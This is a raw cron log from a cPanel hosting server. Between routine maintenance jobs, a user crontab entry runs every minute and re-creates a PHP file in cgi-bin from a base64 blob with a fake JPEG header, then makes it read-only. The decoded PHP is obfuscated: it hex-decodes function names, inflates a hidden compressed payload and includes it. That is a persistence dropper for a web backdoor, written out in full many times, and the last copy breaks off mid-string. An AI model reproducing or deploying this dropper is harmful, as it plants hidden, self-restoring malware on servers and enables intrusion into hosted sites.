Sep 12 10:54:01 server CROND[4535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:55:01 server CROND[4918]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 10:55:01 server CROND[4919]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:55:01 server CROND[4922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:55:01 server CROND[4923]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:55:01 server CROND[4925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:55:01 server CROND[4924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:55:01 server CROND[4926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:56:01 server CROND[5838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:56:01 server CROND[5839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:56:01 server CROND[5841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:57:01 server CROND[6247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:57:01 server CROND[6246]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 10:57:01 server CROND[6248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:57:01 server CROND[6250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:58:01 server CROND[6635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:58:01 server CROND[6637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:58:01 server CROND[6638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:59:01 server CROND[7021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:59:01 server CROND[7022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:59:01 server CROND[7020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:00:01 server CROND[7414]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:00:01 server CROND[7416]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:00:01 server CROND[7418]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:00:01 server CROND[7419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:00:01 server CROND[7424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:00:01 server CROND[7422]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 11:00:01 server CROND[7426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:00:01 server CROND[7421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:00:01 server CROND[7423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:01:01 server CROND[8356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:01:01 server CROND[8360]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 11:01:01 server CROND[8359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:01:01 server CROND[8358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:01:01 server run-parts(/etc/cron.hourly)[8360]: starting 0anacron
Sep 12 11:01:01 server run-parts(/etc/cron.hourly)[8378]: finished 0anacron
Sep 12 11:02:01 server CROND[8740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:02:01 server CROND[8741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:02:01 server CROND[8742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:03:01 server CROND[9125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:03:01 server CROND[9126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:03:01 server CROND[9127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:04:01 server CROND[9515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:04:01 server CROND[9514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:04:01 server CROND[9516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:05:01 server CROND[9901]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:05:01 server CROND[9904]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 11:05:01 server CROND[9909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:05:01 server CROND[9906]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:05:01 server CROND[9912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:05:01 server CROND[9907]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 11:05:01 server CROND[9911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:05:01 server CROND[9908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB